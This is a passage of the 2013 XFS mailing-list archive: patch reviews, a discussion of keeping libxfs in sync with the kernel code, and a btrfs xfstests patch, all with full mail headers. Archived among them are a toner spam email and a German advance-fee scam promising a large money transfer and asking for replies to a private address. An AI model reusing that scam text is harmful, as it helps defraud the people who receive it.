Message-ID: X-OriginalArrivalTime: 17 Sep 2013 18:35:45.0126 (UTC) FILETIME=[B890D060:01CEB3D4] X-Barracuda-Connect: mailrelaisbu.ipline.fr[178.23.158.12] X-Barracuda-Start-Time: 1379460310 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140709 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============1764646522== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Lieber Freund. Ich habe einen gegenseitigen Gesch=E4ftsbeziehungen Vorschla= g von gemeinsamem Interesse mit Ihnen zu teilen ; Es geht um die =DCbertrag= ung einer gro=DFen Summe Geld.Ich habe Ihren Hinweis in meine Suche nach je= mandem, der mir vorgeschlagenen Gesch=E4ftsbeziehung passt.Wenn Sie sind an= einer Zusammenarbeit mit mir interessiert sind, kontaktieren Sie mich durc= h meine Private E-Mail (leonel_peters@aim.com) f=FCr weitere Details , Ihre= fr=FCheste Reaktion auf dieses Schreiben wird gesch=E4tzt. Mit freundliche= n Gr=FC=DFen, Leonel Peters --===============1764646522== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Lieber Freund. Ich habe einen gegenseitigen Ge= sch=E4ftsbeziehungen Vorschlag von gemeinsamem Interesse mit Ihnen zu teile= n ; Es geht um die =DCbertragung einer gro=DFen Summe Geld.Ich habe Ihren H= inweis in meine Suche nach jemandem, der mir vorgeschlagenen Gesch=E4ftsbez= iehung passt.Wenn Sie sind an einer Zusammenarbeit mit mir interessiert sin= d, kontaktieren Sie mich durch meine Private E-Mail (leonel_peters@aim.com)= f=FCr weitere Details , Ihre fr=FCheste Reaktion auf dieses Schreiben wird= gesch=E4tzt. Mit freundlichen Gr=FC=DFen, Leonel Peters --===============1764646522==-- From david@fromorbit.com Tue Sep 17 22:13:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C0EF7F50 for ; Tue, 17 Sep 2013 22:13:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id ED636304043 for ; Tue, 17 Sep 2013 20:13:09 -0700 (PDT) X-ASG-Debug-ID: 1379473987-04bdf05387200590001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id GNGNUl9e3lFA6cpp for ; Tue, 17 Sep 2013 20:13:08 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnsGAJEZOVJ5Lapl/2dsb2JhbABagwe8fYVDgRkXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gCujQWj1EHhB4Dl3qRdYM2Kg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Sep 2013 12:43:07 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM8CM-0000TV-EX; Wed, 18 Sep 2013 13:13:02 +1000 Date: Wed, 18 Sep 2013 13:13:02 +1000 From: Dave Chinner To: Ben Myers Cc: Al Viro , xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: don't leak root inode reference Message-ID: <20130918031302.GM19103@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: don't leak root inode reference References: <20130826204730.GZ7153@sgi.com> <20130826212423.GX6023@dastard> <20130827212558.GY5262@sgi.com> <20130827220833.GY6023@dastard> <20130910231122.GY1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130910231122.GY1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379473988 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140713 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 10, 2013 at 06:11:22PM -0500, Ben Myers wrote: > Ok. Lets try this. ;) > > xfs: remove usage of is_bad_inode > > XFS never calls mark_inode_bad or iget_failed, so it will never see a > bad inode. Remove all checks for is_bad_inode because they are > unnecessary. > > Signed-off-by: Ben Myers Looks good to me. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 17 22:36:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C73747F50 for ; Tue, 17 Sep 2013 22:36:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A48198F8074 for ; Tue, 17 Sep 2013 20:36:52 -0700 (PDT) X-ASG-Debug-ID: 1379475407-04cb6c2e9f1130b70001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id HhAxZSZS3b4YwgsH for ; Tue, 17 Sep 2013 20:36:47 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwGAGsfOVJ5Lapl/2dsb2JhbABagwe8foVDgRkXdIIlAQEFJxMcHgUQCAMVAwklDwUlAyETiAK6OBaPUQeEHgOXepF1gzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Sep 2013 13:06:46 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM8ZJ-0000VR-KJ; Wed, 18 Sep 2013 13:36:45 +1000 Date: Wed, 18 Sep 2013 13:36:45 +1000 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences Message-ID: <20130918033645.GN19103@dastard> X-ASG-Orig-Subj: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-11-git-send-email-david@fromorbit.com> <523871C2.5010704@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523871C2.5010704@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379475407 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140714 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Tue, Sep 17, 2013 at 10:14:10AM -0500, Eric Sandeen wrote: > On 9/4/13 5:05 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > Signed-off-by: Dave Chinner > > --- > > libxfs/xfs_dir2.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ > > libxfs/xfs_dir2_data.c | 20 ++++++++++---------- > > libxfs/xfs_dir2_leaf.c | 4 ++-- > > libxfs/xfs_dir2_node.c | 26 ++++++++++++-------------- > > 4 files changed, 69 insertions(+), 26 deletions(-) > > > > diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c > > index 6a4027f..830fe3e 100644 > > --- a/libxfs/xfs_dir2.c > > +++ b/libxfs/xfs_dir2.c > > @@ -392,6 +392,51 @@ xfs_dir_replace( > > } > > > > /* > > + * See if this entry can be added to the directory without allocating space. > > + * First checks that the caller couldn't reserve enough space (resblks = 0). > > + */ > > +int > > +xfs_dir_canenter( > > Retroactive, post-merge question. :) This function isn't used in userspace, > AFAICT. What's the intended libxfs philosophy - keep files as identical to > kernelspace as possible, used code or not, or remove things which aren't used > in userspace? A bit of history here. Going back to when the GPL'd version of xfscmds was created, the intention was that libxfs would be a minimal, cut down version of the kernel code that only had the exact functionality that the userspace tools required. That lasted while Nathan was the maintainer - most of the changes were being made by SGI, and were being made to both Irix and GPL'd code bases and so there was significant amounts of code shuffling internally and so a minimal implementation made sense. With the demise of Irix, there was much less code shuffling going on, and all development work moved over to Linux, leading to the situation where there was only one kernel code base to maintain, and one userspace to maintain. When Nathan left, regular updates to the libxfs code pretty much stopped - there weren't a lot of people that grokked the libxfs codebase and so it was mostly left alone. There was a major update for ~2.9.13 with all the xfs repair work that was done back in 2008 done by Barry Naujok, and since then there's only been sporadic, massive kernel code syncs that have involved diffs > +/-10000 lines that are impossible to review. So, come the CRC work, another major sync was needed, and I decided to make such sycnhronisation work easy in a way that Christoph had mentioned a few times over the past couple of years. That is, libxfs basically becomes a shared copy of the code with minimal differences and we separate all the kernel code out into kernel-only and shared-libxfs code. That's where we are now - with almost all the libxfs code synced in user and kernel space. Yes, this means that there are some dead functions in userspace, but it means that it is trivial to spot differences between the user and kernel code, and that is far more important from a maintenance perspective that having a bit of dead code lying around. Once this started to fall into place, I started finding lots of little differences that needed fixing that were hidden by the verbosity of previous sync efforts. Indeed, this command points out interesting little things like: $ for f in `ls libxfs |grep xfs_ |grep -v trace`; do diff -u libxfs/$f ../kern/xfsdev/fs/xfs/$f; done |less .... @@ -612,6 +635,7 @@ xfs_trans_log_buf(tp, bp, 0, size - 1); bp->b_ops = blk1->bp->b_ops; + xfs_trans_buf_copy_type(bp, blk1->bp); blk1->bp = bp; blk1->blkno = blkno; Which indicate that some bug fixes from teh kernel code haven't been brought across. There's still more work to do - xfs-rtalloc.c still needs splitting, and xfs_btree.c has some readahead differences that need to be sorted, but overall the idea is that libxfs and the include/xfs_*h files are as close to identical to the kernel code as possible.... The other advantage of this is that patches made to the kernel apply with a minimum of massaging to userspace, which makes keeping the userspace code up to data a lot easier. I've mentioned it before - I'd like to end up with a fs/xfs/libxfs/ directory in the kernel that is essentially identical in all ways to the userspace libxfs, so all we need to do is copy files to keep them in sync. We're not there yet, but it's definitely getting closer to being a reality. If we get to this stage, then getting userspace support up and running for new features will not require any kernel patch ftuzing at all - just copy the files, and start working on tool support... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sale@pcc-toner.com Tue Sep 17 22:52:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=DEAR_FRIEND,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B80367F50 for ; Tue, 17 Sep 2013 22:52:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8F8C3304043 for ; Tue, 17 Sep 2013 20:52:38 -0700 (PDT) X-ASG-Debug-ID: 1379476354-04cb6c2e9d1131ce0001-NocioJ Received: from smtpbg298.qq.com (smtpbg298.qq.com [184.105.67.102]) by cuda.sgi.com with SMTP id lsNlgaoocHLBtPAC for ; Tue, 17 Sep 2013 20:52:34 -0700 (PDT) X-Barracuda-Envelope-From: sale@pcc-toner.com X-Barracuda-Apparent-Source-IP: 184.105.67.102 X-QQ-mid: bizesmtp3t1379476349t113t193 Received: from PC-20130610DSDO (unknown [120.32.107.254]) by esmtp4.qq.com (ESMTP) with SMTP id 0 for ; Wed, 18 Sep 2013 11:52:28 +0800 (CST) X-QQ-SSF: 01200000002000F05x32000A0000000 Subject: Re: toner chips, opc drum, toner cartridge, fuser flim, Ribbon, Blade, Roller etc. Content-Type: multipart/alternative; charset=UTF-8; boundary="SPX6XVYhxO=_jXOZBu4nEc7Afu9wPWHIJh" X-ASG-Orig-Subj: Re: toner chips, opc drum, toner cartridge, fuser flim, Ribbon, Blade, Roller etc. MIME-Version: 1.0 Date: Wed, 18 Sep 2013 11:52:27 +0800 From: "PCC" To: xfs@oss.sgi.com Reply-To: "PCC" X-QQ-SENDSIZE: 520 X-QQ-FName: 219697E1C75B4C14BE9A44B4DBF32CC6 X-QQ-LocalIP: 58.250.134.100 X-Barracuda-Connect: smtpbg298.qq.com[184.105.67.102] X-Barracuda-Start-Time: 1379476354 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.14 X-Barracuda-Spam-Status: No, SCORE=1.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DEAR_FRIEND, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140715 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 HTML_MESSAGE BODY: HTML included in message Message-Id: <20130918035238.44CFE1296184@cuda.sgi.com> This is a multi-part message in MIME format --SPX6XVYhxO=_jXOZBu4nEc7Afu9wPWHIJh Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline Dear Friend, Hope your everything is fine. September business busy time comes, we exporting toner chips, opc drum= , toner cartridge, fuser flim,=20 heating element, fuser assembly , Ribbon, Blade, Roller etc. And our b= rand are: Samsung, HP, Xerox,=20 Konica minolta, Dell, Epson, Oki, Sharp, Brother, Canon, Pansionic, Ky= ocera etc =20 Please send me your enquiry list with quantity when you need, and let'= s talk more. ok? =20 I am looking forwards to your reply Best Regards =20 =20 --- Anderson Printer Consumable Center (PCC) msn: printer_chips@hotmail.com pcc-online(dom)com(dom)cn Phone:0086-15859405432 =20 --SPX6XVYhxO=_jXOZBu4nEc7Afu9wPWHIJh Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline =E6=89=80=E6=9C=89=E4=BA=A7=E5=93=81 Dear Friend,

Hope your everything is fine.<= /DIV>

September business busy time=20= comes, we exporting toner chips, opc drum, toner=20 cartridge,  fuser flim,=20
heating element, fuser assemb= ly , Ribbon,=20 Blade, Roller etc.= And=20 our brand are: Samsung, HP, Xerox,
Konica minolta, Dell, Epson, = Oki, Sharp,=20 Brother, Canon, Pansionic, Kyocera etc
 
Please send me your enquiry = ;list with=20 quantity when you need, and let's talk more. ok?

 <= /DIV>
I am looking forwards to your=20= reply

Best Regards
 
 
---
Anderson

Printer Consumable Center=20 (PCC)

msn: printer_chips@hotmail.com

pcc-online(dom)com(dom)cn Phone:0086-15859405432


 

--SPX6XVYhxO=_jXOZBu4nEc7Afu9wPWHIJh-- From david@fromorbit.com Wed Sep 18 00:03:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD2907F50 for ; Wed, 18 Sep 2013 00:03:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6CE3CAC005 for ; Tue, 17 Sep 2013 22:03:19 -0700 (PDT) X-ASG-Debug-ID: 1379480594-04bdf02f211176360001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id HRJOmgZYQ0ZobKtH for ; Tue, 17 Sep 2013 22:03:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApsGAGEzOVJ5Lapl/2dsb2JhbABagweDS7kzhUOBGRd0giUBAQUnExweBRAIAxUDCSUPBSUDIRMZh2m6LhaPUQeEHgOXepF1gzYq Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Sep 2013 14:33:13 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VM9uw-0000eK-Ly; Wed, 18 Sep 2013 15:03:10 +1000 Date: Wed, 18 Sep 2013 15:03:10 +1000 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences Message-ID: <20130918050310.GQ19103@dastard> X-ASG-Orig-Subj: Re: [PATCH 10/55] libxfs: sync dir2 kernel differences References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-11-git-send-email-david@fromorbit.com> <523871C2.5010704@sandeen.net> <20130918033645.GN19103@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130918033645.GN19103@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379480594 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Wed, Sep 18, 2013 at 01:36:45PM +1000, Dave Chinner wrote: > On Tue, Sep 17, 2013 at 10:14:10AM -0500, Eric Sandeen wrote: > > On 9/4/13 5:05 PM, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > Signed-off-by: Dave Chinner > > > --- > > > libxfs/xfs_dir2.c | 45 +++++++++++++++++++++++++++++++++++++++++++++ > > > libxfs/xfs_dir2_data.c | 20 ++++++++++---------- > > > libxfs/xfs_dir2_leaf.c | 4 ++-- > > > libxfs/xfs_dir2_node.c | 26 ++++++++++++-------------- > > > 4 files changed, 69 insertions(+), 26 deletions(-) > > > > > > diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c > > > index 6a4027f..830fe3e 100644 > > > --- a/libxfs/xfs_dir2.c > > > +++ b/libxfs/xfs_dir2.c > > > @@ -392,6 +392,51 @@ xfs_dir_replace( > > > } > > > > > > /* > > > + * See if this entry can be added to the directory without allocating space. > > > + * First checks that the caller couldn't reserve enough space (resblks = 0). > > > + */ > > > +int > > > +xfs_dir_canenter( > > > > Retroactive, post-merge question. :) This function isn't used in userspace, > > AFAICT. What's the intended libxfs philosophy - keep files as identical to > > kernelspace as possible, used code or not, or remove things which aren't used > > in userspace? > > A bit of history here. Going back to when the GPL'd version of > xfscmds was created, the intention was that libxfs would be a > minimal, cut down version of the kernel code that only had the exact > functionality that the userspace tools required. That lasted while > Nathan was the maintainer - most of the changes were being made by > SGI, and were being made to both Irix and GPL'd code bases and so > there was significant amounts of code shuffling internally and so a > minimal implementation made sense. > > With the demise of Irix, there was much less code shuffling going > on, and all development work moved over to Linux, leading to the > situation where there was only one kernel code base to maintain, and > one userspace to maintain. > > When Nathan left, regular updates to the libxfs code pretty much > stopped - there weren't a lot of people that grokked the libxfs > codebase and so it was mostly left alone. There was a major update > for ~2.9.13 with all the xfs repair work that was done back in 2008 > done by Barry Naujok, and since then there's only been sporadic, > massive kernel code syncs that have involved diffs > +/-10000 lines > that are impossible to review. > > So, come the CRC work, another major sync was needed, and I decided > to make such sycnhronisation work easy in a way that Christoph had > mentioned a few times over the past couple of years. That is, libxfs > basically becomes a shared copy of the code with minimal differences > and we separate all the kernel code out into kernel-only and > shared-libxfs code. > > That's where we are now - with almost all the libxfs code synced in > user and kernel space. > > Yes, this means that there are some dead functions in userspace, but > it means that it is trivial to spot differences between the user and > kernel code, and that is far more important from a maintenance > perspective that having a bit of dead code lying around. > > Once this started to fall into place, I started finding lots of > little differences that needed fixing that were hidden by the > verbosity of previous sync efforts. Indeed, this command points out > interesting little things like: > > $ for f in `ls libxfs |grep xfs_ |grep -v trace`; do diff -u > libxfs/$f ../kern/xfsdev/fs/xfs/$f; done |less > .... > @@ -612,6 +635,7 @@ > xfs_trans_log_buf(tp, bp, 0, size - 1); > > bp->b_ops = blk1->bp->b_ops; > + xfs_trans_buf_copy_type(bp, blk1->bp); > blk1->bp = bp; > blk1->blkno = blkno; > > Which indicate that some bug fixes from teh kernel code haven't been > brought across. > > There's still more work to do - xfs-rtalloc.c still needs splitting, > and xfs_btree.c has some readahead differences that need to be > sorted, but overall the idea is that libxfs and the include/xfs_*h > files are as close to identical to the kernel code as possible.... > > The other advantage of this is that patches made to the kernel apply > with a minimum of massaging to userspace, which makes keeping the > userspace code up to data a lot easier. > > I've mentioned it before - I'd like to end up with a fs/xfs/libxfs/ > directory in the kernel that is essentially identical in all ways to > the userspace libxfs, so all we need to do is copy files to keep > them in sync. We're not there yet, but it's definitely getting > closer to being a reality. If we get to this stage, then getting > userspace support up and running for new features will not require > any kernel patch ftuzing at all - just copy the files, and start > working on tool support... >From the horse's mouth: $ $ head -44 libxfs/xfs.h |tail -27 /* * This header is effectively a "namespace multiplexor" for the * user level XFS code. It provides all of the necessary stuff * such that we can build some parts of the XFS kernel code in * user space in a controlled fashion, and translates the names * used in the kernel into the names which libxfs is going to * make available to user tools. * * It should only ever be #include'd by XFS "kernel" code being * compiled in user space. * * Our goals here are to... * o "share" large amounts of complex code between user and * kernel space; * o shield the user tools from changes in the bleeding * edge kernel code, merging source changes when * convenient and not immediately (no symlinks); * o i.e. be able to merge changes to the kernel source back * into the affected user tools in a controlled fashion; * o provide a _minimalist_ life-support system for kernel * code in user land, not the "everything + the kitchen * sink" model which libsim had mutated into; * o allow the kernel code to be completely free of code * specifically there to support the user level build. */ $ FYI, the symlink model was what the irix source tree used to link the XFS kernel code to the xfscmds userspace source tree. Libsim was the "ifdef SIM" hackery all through the Irix kernel code used to exclude kernel-only code from the xfscmds build.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bo.li.liu@oracle.com Wed Sep 18 00:18:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E9C257F50 for ; Wed, 18 Sep 2013 00:18:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 76F0DAC004 for ; Tue, 17 Sep 2013 22:18:07 -0700 (PDT) X-ASG-Debug-ID: 1379481486-04cb6c2e9f1137a90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id HexQEknybanctN8f (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 17 Sep 2013 22:18:06 -0700 (PDT) X-Barracuda-Envelope-From: bo.li.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8I5I4sw005844 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 18 Sep 2013 05:18:05 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8I5I3Op017523 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 Sep 2013 05:18:04 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8I5I3ax012183; Wed, 18 Sep 2013 05:18:03 GMT Received: from localhost.jp.oracle.com (/10.191.12.145) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 17 Sep 2013 22:18:03 -0700 From: Liu Bo To: linux-btrfs@vger.kernel.org Cc: xfs@oss.sgi.com Subject: [PATCH] xfstests/btrfs: do not test btrfs/010 with autodefrag Date: Wed, 18 Sep 2013 13:17:55 +0800 X-ASG-Orig-Subj: [PATCH] xfstests/btrfs: do not test btrfs/010 with autodefrag Message-Id: <1379481475-10842-1-git-send-email-bo.li.liu@oracle.com> X-Mailer: git-send-email 1.8.1.4 X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1379481486 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140717 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines btrfs/010 is going to create a fragmented file, however, with autodefrag this is impossible, so just skip the test when we're with autodefrag. Signed-off-by: Liu Bo --- tests/btrfs/010 | 12 ++++++++++++ 1 files changed, 12 insertions(+), 0 deletions(-) diff --git a/tests/btrfs/010 b/tests/btrfs/010 index 371f1b8..608942d 100755 --- a/tests/btrfs/010 +++ b/tests/btrfs/010 @@ -37,6 +37,14 @@ _cleanup() rm -f $tmp.* } +is_autodefrag_set() +{ + case "$MOUNT_OPTIONS" in + *autodefrag*) return 0;; + esac + return 1 +} + # get standard environment, filters and checks . ./common/rc . ./common/filter @@ -49,6 +57,10 @@ _supported_os Linux _require_scratch _require_command "/usr/sbin/filefrag" +if is_autodefrag_set; then + _notrun "this test makes no sense with autodefrag" +fi + rm -f $seqres.full _scratch_mkfs > /dev/null 2>&1 -- 1.7.7 From zhong@linux.vnet.ibm.com Wed Sep 18 04:40:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 20A387F50 for ; Wed, 18 Sep 2013 04:40:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E979D8F8073 for ; Wed, 18 Sep 2013 02:40:56 -0700 (PDT) X-ASG-Debug-ID: 1379497253-04bdf0538721c170001-NocioJ Received: from 